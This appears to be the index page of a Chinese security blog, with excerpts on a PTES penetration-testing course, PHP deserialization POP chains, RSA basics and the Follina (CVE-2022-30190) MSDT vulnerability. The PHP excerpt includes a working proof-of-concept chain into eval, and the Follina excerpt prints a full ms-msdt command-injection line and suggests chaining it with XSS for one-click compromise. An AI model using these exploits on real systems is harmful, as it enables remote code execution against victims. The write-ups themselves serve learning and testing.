天津电子信息渗透测试第一课

第一节,ptes概述 一次成功的渗透测试应该考虑周到,按照与甲方达成的约定,在约定时间和约定测试范围内对业务的安全性、稳定性等进行测试。这需要前期良好的沟通,与甲方约定测试范围,哪些业务和资产是被允许访问的,协调可接受的测试方法和预期的测试成果。最重要的是满足甲方的需求。没有完全安全的系统,但是可以把风险与损失控制在可接受的范围内。渗透测试就是来评估系统中的漏洞和脆弱性,站在客户角度或者开发人员角度,给出专业性的意见和修改方案,给风险管理一个可参考的基准量表。 渗透测试当然需要标准规范,专业的渗透测试需要一套标准流程,来帮助客户理解我们做了什么,能够更好地沟通,同时规范和标准化测试人员的行为和工作方法。 PTES就是这样一个标准,它包含了渗透测试的几乎所有内容,从沟通到最后完成测试出具报告,具有很高的参考价值。 第二节,网络基本环境拓扑 第三节,渗透测试报告实施方案撰写

March 8, 2023 · 1 min · dayu

php_反序列化_2

pop链 pop链,通过反序列化控制class属性,来构造一条完整的利用链。 easy <?php //error_reporting(0); highlight_file(__FILE__); class errorr0{ protected $var; function __construct() { $this->var = new errorr1(); } function __destruct() { $this->var->func(); } } class errorr1 { public $var; function func() { echo $this->var; } } class errorr2 { private $data; public function func() { eval($this->data); } } unserialize($_GET['err']); ?> 反向构造pop链,errorr2::func()->errorr0::__destruct()->errorr0::__construct poc <?php //error_reporting(0); highlight_file(__FILE__); class errorr0{ protected $var; function __construct() { $this->var = new errorr1(); } function __destruct() { $this->var->func(); } } class errorr1 { public $var; function func() { echo $this->var; } } class errorr2 { private $data; public function func() { eval($this->data); } } $a = new errorr0; $a->var=new errorr2; $a->var->data='phpinfo();'; echo serialize($a); //O:7:"errorr0":1:{s:3:"var";O:7:"errorr2":1:{s:4:"data";s:10:"phpinfo();";}} //`errorr2::func()`->`errorr0::__destruct()`->`errorr0::__construct` ?...

July 21, 2022 · 5 min · dayu

php_反序列化_1

简介 不会php。 https://www.php.net/manual/zh/language.oop5.serialization.php <?php class A { public $one = 1; public $two = '2'; public function show_one() { echo $this->one; } } $a = new A; $s = serialize($a); echo $s; O:1:"A":2:{s:3:"one";i:1;s:3:"two";s:1:"2";} ?> https://www.toolnb.com/tools/phpserialize.html 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。 O:1:"A":2:{s:3:"one";i:1;s:3:"two";s:1:"2";} object(__PHP_Incomplete_Class)#5 (3) { ["__PHP_Incomplete_Class_Name"]=> string(1) "A" ["one"]=> int(1) ["two"]=> string(1) "2" } 序列化就是将对象转换成字符串来存储,反序列化就是将字符串还原为对象。 php通过serialize()和unserialize()来进行序列化操作。 其中有几个魔术方法需要关注一下。 https://www.php.net/manual/zh/language.oop5.magic.php 魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。 __construct() //当一个对象创建时被调用 __destruct() //当一个对象销毁时被调用 __toString() //当一个对象被当作一个字符串使用 __sleep() //在对象被序列化之前运行 __wakeup() //在对象被反序列化之后被调用 简单的序列化 [NPUCTF2020]ReadlezPHP <?php #error_reporting(0); highlight_file(__FILE__); echo "</p>"; class HelloPhp { public $a; public $b; public function __construct(){ $this->a = "Y-m-d h:i:s"; $this->b = "date"; echo '__construct $this->a: '....

July 20, 2022 · 3 min · dayu

RSA算法

简介 RSA算法是一种非对称算法,即公钥和密钥不相同,本质是利用2个大素数的乘积难以做因素分解。 算法 RSA算法的密钥由3个数构成N,d,e N由2个互不相同的素数的乘积构成 $$ N=pq $$ 根据欧拉函数,求得r,即小于N且与N互质的数的个数。 $$ {\displaystyle r=\varphi (N)=(p-1)(q-1)} $$ 选择其中的一个质数为e,找到一个数 d。 $$ ed \bmod r=1 $$ 现在N,d,e都已经拿到了,公钥是(N, e),私钥是(N, d)。那么N和e就是公开的,而d是保密的。 测试 然后就能使用公钥加密数据,然后私钥解密数据了。 首先我们先选2个素数来算出N,我这里选择了3和5,那么N = 3 x 5 = 15 那么r = (3 - 1) x (5 - 1) = 8,即15以内有8个数与它互质,他们分别是1,2,4,7,8,11,13,14。其中质数有2,7,11,13。 这里选择11为e,根据(d x 11) % 8 = 1,求出d = 3 d = 0 e = 11 r = 8 while(1): if ((d * e) % r == 1): print(d) //3 break d = d + 1 那么现在N = 15,e = 11,d = 3,公钥为(15, 11),私钥为(15, 3)。...

July 12, 2022 · 2 min · dayu

CVE_2022_30190_MSDT_RCE

CVE-2022-30190 虽迟但到 刚起床,然后有事,就看了下这个洞,几天前就看见过这个洞了,但是我是个废物就懒的弄。 漏洞原理 首先说一下自己对这个洞的理解,这个洞的本质就是msdt过滤的问题,导致msdt协议可以执行powershell代码。 但是这个洞为什么个Office能关联上呢? 因为Office在打开docx的时候可以加载一个web网页,然后web网页就能调用msdt协议,问题的关键就在于旧版本的Office在调用msdt协议的时候默认同意,而新版本则不同意,然后msdt绕过过滤就能执行powershell了。旧版本的Office应该是2013到2021 ltsc以下的,我用的2016复现成功,2021 pro plus则不行。 其实也不需要配合Office,浏览器就行,只不过需要手动点一下同意调用,这里可以直接利用xss,嘿嘿嘿。 漏洞代码 https://paper.seebug.org/1913/ Exp: C:\Windows\system32\msdt.exe ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=fff$(IEX('mspaint.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe " 一看这个exp就是为了绕过某种限制。 $appName = [System.IO.Path]::GetFileNameWithoutExtension($selectedProgram).Replace("$", "$") //没修复的 $appName = [System.IO.Path]::GetFileNameWithoutExtension($selectedProgram).Replace("`$", "``$") //修复过的 可以利用github这个项目快速生成一个exp word文件 https://github.com/komomon/CVE-2022-30190-follina-Office-MSDT-Fixed 漏洞测试 直接cmd运行一下这个 C:\Windows\system32\msdt.exe ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=fff$(IEX('mspaint.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe " 如果能弹出画图就成功了,不能就是狗拦了或者系统打补丁了,Office也更不可能利用成功。 Office测试 如果打开的时候有请求记录但是没弹出计算器那就是Office版本问题(cmd能执行成功的情况下)。 OK 漏洞环境 Office:2013-2021ltsc(大概是) Windows:卸载6月补丁,忘记kb号了,自己看看吧。关闭Defender,或者回退旧版本。 差不多就这样。 一些发现 可以直接配合xss,点击即上线。 <script> location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=fff$(IEX('mspaint....

June 25, 2022 · 1 min · dayu